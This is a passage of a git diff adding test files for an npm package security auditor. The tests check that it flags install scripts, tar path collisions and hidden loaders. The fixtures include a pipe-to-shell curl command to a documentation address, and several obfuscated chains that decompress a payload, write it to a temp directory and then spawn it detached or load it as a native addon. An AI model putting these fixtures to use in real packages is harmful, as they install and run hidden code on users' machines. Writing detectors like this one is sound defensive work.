{ + const critical = (f: ReturnType) => + f.filter((x) => x.ruleId === "install-scripts" && x.severity === "critical").length; + + test("`sh README` / `sh notes.md` are scanned like any other referenced file", () => { + for (const [name, cmd] of [["package/README", "sh README"], ["package/notes.md", "sh notes.md"]] as const) { + const f = runRules(inputFor({ [name]: `${CURL_SH}\n` }, { scripts: { postinstall: cmd } })); + assert.equal(critical(f), 1, cmd); + } + }); + + test("node-style resolution: `node setup` -> setup.js, `node scripts` -> scripts/index.js", () => { + for (const [name, cmd] of [["package/setup.js", "node setup"], ["package/scripts/index.js", "node scripts"]] as const) { + const f = runRules(inputFor({ [name]: `${CURL_SH}\n` }, { scripts: { postinstall: cmd } })); + assert.equal(critical(f), 1, cmd); + } + }); + + test("1,000 files with 2,000-component paths: no hooks and one hook both stay fast", () => { + const files: Record = {}; + for (let i = 0; i < 1000; i++) files[`package/${"d/".repeat(2000)}f${i}.js`] = "x"; + assertFast("no hooks", () => runRules(inputFor(files, { name: "p" }))); + assertFast("one hook", () => runRules(inputFor(files, { scripts: { postinstall: "node f5.js missing/f6.js && node setup" } }))); + }); +}); + +describe("overflow in the same file as a correlated chain", () => { + const CORRELATED = ` +const fs=require('fs'),zlib=require('zlib'),cp=require('child_process'),os=require('os'),path=require('path'); +(function(){ + const c=fs.readFileSync(path.join(__dirname,'intro.js')); + const b=zlib.gunzipSync(c.subarray(5)); + const out=path.join(os.tmpdir(),'.'+Math.random().toString(36).slice(2)); + fs.writeFileSync(out,b); fs.chmodSync(out,0o755); + const ch=cp.spawn(out,[],{detached:true,stdio:'ignore'}); ch.unref(); +})();`; + + test("`try{x.b.b...}catch{}` prepended to the chain stays critical and blocks", async () => { + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const tarball = tarBytes([ + { name: "package/package.json", data: JSON.stringify({ name: "demo", version: "1.0.0", main: "index.js" }) }, + { name: "package/index.js", data: pad + CORRELATED }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok( + report.findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical"), + "the chain must not be downgraded", + ); + assert.equal(report.verdict, "block"); + }); + + test("an unparseable file with only two regex signals stays high, not critical", () => { + const f = runRules(inputFor({ "package/index.js": `}{ require("fs").writeFileSync("a", Buffer.from("x","base64"));` }, { name: "p" })); + const hit = f.filter((x) => x.ruleId === "native-payload-loader"); + assert.equal(hit.length, 1); + assert.equal(hit[0]!.severity, "high"); + }); +}); diff --git a/packages/core/test/security-rule-robustness-4.test.ts b/packages/core/test/security-rule-robustness-4.test.ts new file mode 100644 index 0000000..57298d9 --- /dev/null +++ b/packages/core/test/security-rule-robustness-4.test.ts @@ -0,0 +1,172 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, extractTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core review round 2: Windows-reading retention, suffix trie, require() launch +// in the overflow fallback, and scanning only executed files. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const BUDGET_MS = 1000; + +function tarBytes(entries: { name: string; data: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write("0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson?: unknown): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + if (pkgJson !== undefined) list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +function assertFast(label: string, fn: () => unknown): void { + const t = performance.now(); + fn(); + const ms = performance.now() - t; + console.log(`[timing] ${label}: ${ms.toFixed(0)} ms`); + assert.ok(ms < BUDGET_MS, `${label} took ${ms.toFixed(0)} ms (budget ${BUDGET_MS} ms)`); +} +const critical = (f: ReturnType) => + f.filter((x) => x.ruleId === "install-scripts" && x.severity === "critical").length; + +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + +describe("Windows-reading files are retained", () => { + test("`package\\setup.js` referenced by `node setup.js` is scanned", async () => { + const pkg = JSON.stringify({ name: "demo", version: "1.0.0", scripts: { postinstall: "node setup.js" } }); + const tarball = tarBytes([ + { name: "package/package.json", data: pkg }, + { name: "package\\setup.js", data: `${CURL_SH}\n` }, + ]); + const r = await extractTarball(tarball); + assert.ok(r.files.some((f) => f.path === "package/setup.js"), "Windows path must be retained"); + const report = await auditTarball({ meta, tarball }); + assert.ok(report.findings.some((f) => f.ruleId === "install-scripts" && f.severity === "critical")); + }); +}); + +describe("suffix lookup is a reverse trie", () => { + test("thousands of distinct missing `x/index.js` tokens against many index.js files stay fast", () => { + const files: Record = {}; + for (let i = 0; i < 3000; i++) files[`package/d${i}/index.js`] = "x"; + let cmd = ""; + for (let i = 0; i < 20000; i++) cmd += `node x${i}/index.js && `; + cmd += "node d7/index.js"; + let out: ReturnType = []; + assertFast("suffix trie", () => { out = runRules(inputFor(files, { scripts: { postinstall: cmd } })); }); + assert.ok(out.some((f) => f.ruleId === "install-scripts")); + }); + + test("suffix matches still resolve (and the first file in order wins)", () => { + const f = runRules(inputFor( + { "package/lib/scripts/x.js": `${CURL_SH}\n`, "package/other/scripts/x.js": "// benign\n" }, + { scripts: { postinstall: "node scripts/x.js" } }, + )); + assert.equal(critical(f), 1); + }); + + test("a path with exactly the token's components is not a suffix match", () => { + const f = runRules(inputFor({ "package/x.js": `${CURL_SH}\n` }, { scripts: { postinstall: "node package/x.js" } })); + // `package/x.js` resolves exactly as package/package/x.js (absent) and has no longer path to suffix-match. + assert.equal(critical(f), 0); + }); +}); + +describe("overflow fallback counts a require() launch", () => { + test("pad + read, decode, write and require(path) stays critical and blocks", async () => { + const chain = ` +const fs=require('fs'),zlib=require('zlib'),os=require('os'),path=require('path'); +const c=fs.readFileSync(path.join(__dirname,'intro.node')); +const b=zlib.gunzipSync(c); +const out=path.join(os.tmpdir(),'.x.node'); +fs.writeFileSync(out,b); +require(out);`; + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const tarball = tarBytes([ + { name: "package/package.json", data: JSON.stringify({ name: "demo", version: "1.0.0", main: "index.js" }) }, + { name: "package/index.js", data: pad + chain }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok(report.findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical")); + assert.equal(report.verdict, "block"); + }); +}); + +describe("only executed files are scanned", () => { + test("`node generate.js README.md`: generate.js is scanned, README is not", () => { + const benign = runRules(inputFor( + { "package/generate.js": "console.log('hi')\n", "package/README.md": `Install with: ${CURL_SH}\n` }, + { scripts: { postinstall: "node generate.js README.md" } }, + )); + assert.equal(critical(benign), 0, "a curl example in the README is not an executed script"); + const evil = runRules(inputFor( + { "package/generate.js": `${CURL_SH}\n`, "package/README.md": "docs\n" }, + { scripts: { postinstall: "node generate.js README.md" } }, + )); + assert.equal(critical(evil), 1); + }); + + test("`sh README` with the payload is flagged", () => { + assert.equal(critical(runRules(inputFor({ "package/README": `${CURL_SH}\n` }, { scripts: { postinstall: "sh README" } }))), 1); + }); + + test("`env FOO=1 node setup` and `FOO=1 ./setup` scan setup", () => { + for (const cmd of ["env FOO=1 node setup", "FOO=1 ./setup", "nohup sh setup", "npx -y ./setup"]) { + assert.equal(critical(runRules(inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: cmd } }))), 1, cmd); + } + }); + + test("100+ junk tokens then `&& node evil` still scans evil", () => { + const pad = Array.from({ length: 150 }, (_, i) => `junk${i}`).join(" "); + const f = runRules(inputFor({ "package/evil": `${CURL_SH}\n` }, { scripts: { postinstall: `echo ${pad} && node evil` } })); + assert.equal(critical(f), 1); + }); + + test("an interpreter flag value does not hide the script (`node --max-old-space-size 4096 evil.js`)", () => { + const f = runRules(inputFor({ "package/evil.js": `${CURL_SH}\n` }, { scripts: { postinstall: "node --max-old-space-size 4096 evil.js" } })); + assert.equal(critical(f), 1); + }); + + test("`node -r ./hook.js main.js` scans the preloaded hook too", () => { + const f = runRules(inputFor( + { "package/hook.js": `${CURL_SH}\n`, "package/main.js": "// benign\n" }, + { scripts: { postinstall: "node -r ./hook.js main.js" } }, + )); + assert.equal(critical(f), 1); + }); + + test("a 2 MiB command stays fast", () => { + const cmd = "a ".repeat(1024 * 1024) + "&& node setup"; + assertFast("2 MiB command", () => runRules(inputFor({ "package/setup": `${CURL_SH}\n` }, { scripts: { postinstall: cmd } }))); + }); +}); diff --git a/packages/core/test/security-rule-robustness-5.test.ts b/packages/core/test/security-rule-robustness-5.test.ts new file mode 100644 index 0000000..7cd329e --- /dev/null +++ b/packages/core/test/security-rule-robustness-5.test.ts @@ -0,0 +1,147 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core review round 3: unknown wrappers, per-interpreter inline flags, every +// code operand, tar-reading path collisions, template-literal require. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +function tarBytes(entries: { name: string; data: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write("0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson?: unknown): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + if (pkgJson !== undefined) list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const crit = (files: Record, cmd: string) => + runRules(inputFor(files, { scripts: { postinstall: cmd } })) + .filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + +describe("unknown command words do not hide scripts", () => { + test("`sudo node evil.js`, `timeout 5 sh evil.sh`, `xargs sh evil.sh`", () => { + for (const [name, cmd] of [ + ["package/evil.js", "sudo node evil.js"], + ["package/evil.sh", "timeout 5 sh evil.sh"], + ["package/evil.sh", "xargs sh evil.sh"], + ["package/evil.py", "nice -n 5 python3 evil.py"], + ] as const) { + assert.equal(crit({ [name]: `${CURL_SH}\n` }, cmd).length, 1, cmd); + } + }); + + test("data names stay unscanned: `node generate.js README.md`", () => { + assert.equal(crit({ "package/generate.js": "console.log(1)\n", "package/README.md": `${CURL_SH}\n` }, "node generate.js README.md").length, 0); + assert.equal(crit({ "package/generate.js": "console.log(1)\n", "package/README.md": `${CURL_SH}\n` }, "sudo node generate.js README.md").length, 0); + }); +}); + +describe("inline-code flags are per interpreter", () => { + test("`sh -e evil.sh` and `bash -eu evil.sh` are flagged (-e is errexit in a shell)", () => { + for (const cmd of ["sh -e evil.sh", "bash -eu evil.sh"]) { + assert.equal(crit({ "package/evil.sh": `${CURL_SH}\n` }, cmd).length, 1, cmd); + } + }); + + test("`sh -c \"echo hi\"` with a benign README is not critical", () => { + assert.equal(crit({ "package/README": "docs\n" }, 'sh -c "echo hi"').length, 0); + }); + + test("after an inline flag the remaining operands are still scanned", () => { + assert.equal(crit({ "package/evil.sh": `${CURL_SH}\n` }, "sh -ec 'echo hi' evil.sh").length, 1); + assert.equal(crit({ "package/evil.py": `${CURL_SH}\n` }, "python3 -c 'x' evil.py").length, 1); + }); + + test("inline flags per interpreter: python -c and php -r take code, extension-less operands after it are data", () => { + assert.equal(crit({ "package/README": `${CURL_SH}\n` }, "python3 -c 'print(1)' README").length, 0); + assert.equal(crit({ "package/README": `${CURL_SH}\n` }, "php -r 'echo 1;' README").length, 0); + }); +}); + +describe("every code-extension operand is scanned", () => { + test("`node a.js evil.js` scans both", () => { + const f = crit({ "package/a.js": "process.env.X\n", "package/evil.js": `${CURL_SH}\n` }, "node a.js evil.js"); + assert.equal(f.length, 1); + assert.match(f[0]!.message, /downloads from the network/); + assert.match(f[0]!.message, /reads environment variables/); + }); +}); + +describe("Windows-reading copy shadowing a real path", () => { + test("`package/x.js` plus `package\\x.js` with different content is manifest-confusion and blocks", async () => { + const tarball = tarBytes([ + { name: "package/package.json", data: JSON.stringify({ name: "demo", version: "1.0.0" }) }, + { name: "package/x.js", data: "// benign\n" }, + { name: "package\\x.js", data: `require("child_process").execSync("${CURL_SH}")\n` }, + ]); + const report = await auditTarball({ meta, tarball }); + const f = report.findings.find((x) => x.ruleId === "manifest-confusion"); + assert.ok(f, "manifest-confusion expected"); + assert.match(f.message, /collision between tar readings/); + assert.equal(report.verdict, "block"); + }); + + test("a lone backslash entry with no colliding path is not a collision", async () => { + const tarball = tarBytes([ + { name: "package/package.json", data: JSON.stringify({ name: "demo", version: "1.0.0" }) }, + { name: "package\\y.js", data: "// benign\n" }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok(!report.findings.some((x) => x.ruleId === "manifest-confusion")); + }); +}); + +describe("overflow fallback counts a template-literal require()", () => { + test("pad + read, decode, write and require(`${dir}/p`) stays critical and blocks", async () => { + const chain = ` +const fs=require('fs'),zlib=require('zlib'),os=require('os'); +const dir=os.tmpdir(); +const c=fs.readFileSync(__dirname+'/intro.node'); +const b=zlib.gunzipSync(c); +fs.writeFileSync(dir+'/p',b); +require(\`\${dir}/p\`);`; + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const tarball = tarBytes([ + { name: "package/package.json", data: JSON.stringify({ name: "demo", version: "1.0.0", main: "index.js" }) }, + { name: "package/index.js", data: pad + chain }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok(report.findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical")); + assert.equal(report.verdict, "block"); + }); +}); diff --git a/packages/core/test/security-rule-robustness-6.test.ts b/packages/core/test/security-rule-robustness-6.test.ts new file mode 100644 index 0000000..09044fc --- /dev/null +++ b/packages/core/test/security-rule-robustness-6.test.ts @@ -0,0 +1,163 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core review round 4: retention under both readings, .py/.pl/.rb, literal .node +// launch in the overflow fallback, quoted words, linear trim, inline shell code, +// case-folded collisions. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + +function tarBytes(entries: { name: string; data: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data, "latin1"); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write("0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} +const pkg = (scripts?: Record, extra: object = {}) => + JSON.stringify({ name: "demo", version: "1.0.0", ...(scripts ? { scripts } : {}), ...extra }); +const criticalInstall = async (entries: { name: string; data: string }[]) => { + const report = await auditTarball({ meta, tarball: tarBytes(entries) }); + return report.findings.filter((f) => f.ruleId === "install-scripts" && f.severity === "critical").length; +}; +const confusion = async (entries: { name: string; data: string }[]) => { + const report = await auditTarball({ meta, tarball: tarBytes(entries) }); + return { found: report.findings.find((f) => f.ruleId === "manifest-confusion"), verdict: report.verdict }; +}; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, scripts: Record): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify({ scripts }))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const crit = (files: Record, cmd: string) => + runRules(inputFor(files, { postinstall: cmd })).filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); + +describe("retention is evaluated under both readings", () => { + test("`package/assets.v1\\setup` is extension-less to Windows and is scanned", async () => { + const n = await criticalInstall([ + { name: "package/package.json", data: pkg({ postinstall: "node assets.v1/setup" }) }, + { name: "package/assets.v1\\setup", data: `${CURL_SH}\n` }, + ]); + assert.equal(n, 1); + }); + + test("`.py`, `.pl` and `.rb` files are retained and scanned through a real tarball", async () => { + for (const [name, cmd] of [["evil.py", "python3 evil.py"], ["evil.pl", "perl evil.pl"], ["evil.rb", "ruby evil.rb"]] as const) { + const n = await criticalInstall([ + { name: "package/package.json", data: pkg({ postinstall: cmd }) }, + { name: `package/${name}`, data: `${CURL_SH}\n` }, + ]); + assert.equal(n, 1, cmd); + } + }); +}); + +describe("overflow fallback counts a literal native-addon require()", () => { + test("pad + read, decode, write and require('./output.node') stays critical and blocks", async () => { + const chain = ` +const fs=require('fs'),zlib=require('zlib'),path=require('path'); +const c=fs.readFileSync(path.join(__dirname,'intro.bin')); +fs.writeFileSync(path.join(__dirname,'output.node'),zlib.gunzipSync(c)); +require('./output.node');`; + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const report = await auditTarball({ + meta, + tarball: tarBytes([ + { name: "package/package.json", data: pkg(undefined, { main: "index.js" }) }, + { name: "package/index.js", data: pad + chain }, + ]), + }); + assert.ok(report.findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical")); + assert.equal(report.verdict, "block"); + }); +}); + +describe("install-scripts command parsing", () => { + test("quoted command words: `'node' ./setup` and `\"sh\" build`", () => { + assert.equal(crit({ "package/setup": `${CURL_SH}\n` }, "'node' ./setup").length, 1); + assert.equal(crit({ "package/build": `${CURL_SH}\n` }, '"sh" build').length, 1); + }); + + test("a 1 MiB word of closing punctuation followed by x stays fast", () => { + for (const ch of [")", '"', "'", "`", "("]) { + const cmd = `node ${ch.repeat(1024 * 1024)}x`; + const t = performance.now(); + runRules(inputFor({ "package/setup": "x" }, { postinstall: cmd })); + const ms = performance.now() - t; + console.log(`[timing] trim ${ch}: ${ms.toFixed(0)} ms`); + // Linear (about 150 ms per MiB of backticks locally, several times that on CI); quadratic would take minutes. + assert.ok(ms < 5000, `${ch} took ${ms.toFixed(0)} ms`); + } + }); + + test("inline shell code is resolved as a command line", () => { + assert.equal(crit({ "package/evil.sh": `${CURL_SH}\n` }, "sh -c ./evil.sh").length, 1); + assert.equal(crit({ "package/evil.js": `${CURL_SH}\n` }, 'bash -c "node evil"').length, 1); + assert.equal(crit({ "package/evil.js": `${CURL_SH}\n` }, "bash -c 'node evil.js && echo done'").length, 1); + assert.equal(crit({ "package/evil.js": `${CURL_SH}\n` }, "sh -c 'sh -c \"node evil\"'").length, 1); + assert.equal(crit({ "package/README": "docs\n" }, 'sh -c "echo hi"').length, 0); + }); +}); + +describe("case-folded path collisions between tar readings", () => { + test("`package\\X.js` with `package/x.js` fires and blocks", async () => { + const { found, verdict } = await confusion([ + { name: "package/package.json", data: pkg() }, + { name: "package/x.js", data: "// benign\n" }, + { name: "package\\X.js", data: "// other\n" }, + ]); + assert.ok(found, "manifest-confusion expected"); + assert.match(found.message, /collision between tar readings/); + assert.equal(verdict, "block"); + }); + + test("a Windows copy colliding with an unretained binary fires", async () => { + const elf = "\x7fELF\0\0\0\0\0\0\0\0"; + const { found } = await confusion([ + { name: "package/package.json", data: pkg() }, + { name: "package/addon.node", data: elf }, + { name: "package\\addon.node", data: "// js\n" }, + ]); + assert.ok(found, "manifest-confusion expected"); + }); + + test("ordinary POSIX-only case pairs are not flagged", async () => { + const { found } = await confusion([ + { name: "package/package.json", data: pkg() }, + { name: "package/LICENSE", data: "a\n" }, + { name: "package/license", data: "b\n" }, + ]); + assert.equal(found, undefined); + }); +}); diff --git a/packages/core/test/security-rule-robustness-7.test.ts b/packages/core/test/security-rule-robustness-7.test.ts new file mode 100644 index 0000000..04644f2 --- /dev/null +++ b/packages/core/test/security-rule-robustness-7.test.ts @@ -0,0 +1,149 @@ +import assert from "node:assert/strict"; +import { execFile } from "node:child_process"; +import { test, describe } from "node:test"; +import { gzipSync } from "node:zlib"; +import { promisify } from "node:util"; +import { auditTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core review round 5: raw header path on win32 hosts, quote spans on raw words, +// non-shell inline code operands, extension-less require of a written .node. + +const run = promisify(execFile); +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + +function tarBytes(entries: { name: string; data: string }[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data, "latin1"); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write("0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} +const pkg = (extra: object = {}) => JSON.stringify({ name: "demo", version: "1.0.0", ...extra }); + +describe("backslash readings survive a win32 audit host", () => { + // Honest on darwin: node-tar reads TESTING_TAR_FAKE_PLATFORM, so a child process with it set runs the + // REAL win32 normalization (`\` -> `/` in entry.path) rather than a simulation of it. + const confusionIn = async (platform: string | undefined): Promise => { + const tarball = tarBytes([ + { name: "package/package.json", data: pkg() }, + { name: "a\\b/package.json", data: pkg({ scripts: { postinstall: CURL_SH } }) }, + ]); + const code = `import { extractTarball } from ${JSON.stringify(new URL("../src/index.ts", import.meta.url).href)}; +const r = await extractTarball(Buffer.from(process.argv[1], "base64")); +console.log(JSON.stringify(r.manifestConfusion));`; + const env = { ...process.env } as Record; + delete env.TESTING_TAR_FAKE_PLATFORM; + if (platform) env.TESTING_TAR_FAKE_PLATFORM = platform; + const { stdout } = await run(process.execPath, ["--import", "tsx", "--input-type=module", "-e", code, tarball.toString("base64")], { env }); + return JSON.parse(stdout.trim().split("\n").pop()!); + }; + + test("`a\\b/package.json` next to a real manifest is manifest-confusion under both platforms", async () => { + assert.ok((await confusionIn(undefined)).length > 0, "host platform"); + assert.ok((await confusionIn("win32")).length > 0, "win32 node-tar normalization"); + }); +}); + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, cmd: string): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify({ scripts: { postinstall: cmd } }))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const crit = (files: Record, cmd: string) => + runRules(inputFor(files, cmd)).filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); + +describe("inline code quote spans are found on the raw words", () => { + test("`bash -c 'node evil && echo done'` flags the extension-less evil", () => { + assert.equal(crit({ "package/evil": `${CURL_SH}\n` }, "bash -c 'node evil && echo done'").length, 1); + assert.equal(crit({ "package/evil": `${CURL_SH}\n` }, 'bash -c "node evil; echo done"').length, 1); + }); + + test("a missing closing quote skips only the one code word and keeps scanning", () => { + assert.equal(crit({ "package/evil.sh": `${CURL_SH}\n` }, "sh -c 'echo hi evil.sh").length, 1); + }); + + test("a quoted separator does not split the command, and benign code stays clean", () => { + assert.equal(crit({ "package/README": "docs\n" }, "sh -c 'echo a && echo b'").length, 0); + }); +}); + +describe("non-shell inline code still resolves code-extension names", () => { + test("`node -e \"require('./evil.js')\"` scans evil.js", () => { + const f = crit({ "package/evil.js": "require('child_process').execSync('curl x')\nwget x\n" }, `node -e "require('./evil.js')"`); + assert.equal(f.length, 1); + assert.match(f[0]!.message, /downloads from the network/, "evil.js content must contribute"); + }); + + test("`python3 -c \"exec(open('evil.py').read())\"` scans evil.py", () => { + const f = crit({ "package/evil.py": "wget http://198.51.100.1/x\n" }, `python3 -c "exec(open('evil.py').read())"`); + assert.equal(f.length, 1); + assert.match(f[0]!.message, /downloads from the network/); + }); +}); + +describe("overflow fallback: extension-less require of a written .node", () => { + test("pad + write(...'output.node') and require('./output') stays critical and blocks", async () => { + const chain = ` +const fs=require('fs'),zlib=require('zlib'),path=require('path'); +const c=fs.readFileSync(path.join(__dirname,'intro.bin')); +fs.writeFileSync(path.join(__dirname,'output.node'),zlib.gunzipSync(c)); +require('./output');`; + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const report = await auditTarball({ + meta, + tarball: tarBytes([ + { name: "package/package.json", data: pkg({ main: "index.js" }) }, + { name: "package/index.js", data: pad + chain }, + ]), + }); + assert.ok(report.findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical")); + assert.equal(report.verdict, "block"); + }); + + test("same fixture with only the write target changed (not .node) is not critical", async () => { + const chain = ` +const fs=require('fs'),zlib=require('zlib'),path=require('path'); +const c=fs.readFileSync(path.join(__dirname,'intro.bin')); +fs.writeFileSync(path.join(__dirname,'output.bin'),zlib.gunzipSync(c)); +require('./output');`; + const pad = `try{x${".b".repeat(50000)}}catch(e){}\n`; + const report = await auditTarball({ + meta, + tarball: tarBytes([ + { name: "package/package.json", data: pkg({ main: "index.js" }) }, + { name: "package/index.js", data: pad + chain }, + ]), + }); + const hits = report.findings.filter((f) => f.ruleId === "native-payload-loader"); + assert.ok(hits.some((f) => f.severity === "high"), "the fallback still fires (read + decode + write)"); + assert.ok(!hits.some((f) => f.severity === "critical"), "an extension-less require without a .node write must not count as a launch"); + }); +}); diff --git a/packages/core/test/security-rule-robustness-8.test.ts b/packages/core/test/security-rule-robustness-8.test.ts new file mode 100644 index 0000000..2a3ce6c --- /dev/null +++ b/packages/core/test/security-rule-robustness-8.test.ts @@ -0,0 +1,126 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync } from "node:zlib"; +import { auditTarball, runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core final round: PAX path plus ustar prefix, comments and command substitution +// in lifecycle commands, and linear handling of repeated inline flags. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; + +interface Entry { name: string; data: string; type?: string; prefix?: string } +function tarBytes(entries: Entry[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data, "latin1"); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write(e.type ?? "0", 156); + h.write("ustar\0" + "00", 257); + if (e.prefix) h.write(e.prefix, 345, 155, "utf8"); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return gzipSync(Buffer.concat(blocks)); +} +/** A PAX extended header record ` path=\n`, where len counts its own digits. */ +function paxPath(value: string): string { + const body = ` path=${value}\n`; + let len = body.length + 1; + while (String(len).length + body.length !== len) len = String(len).length + body.length; + return `${len}${body}`; +} +const pkg = (extra: object = {}) => JSON.stringify({ name: "demo", version: "1.0.0", ...extra }); + +describe("a PAX path combined 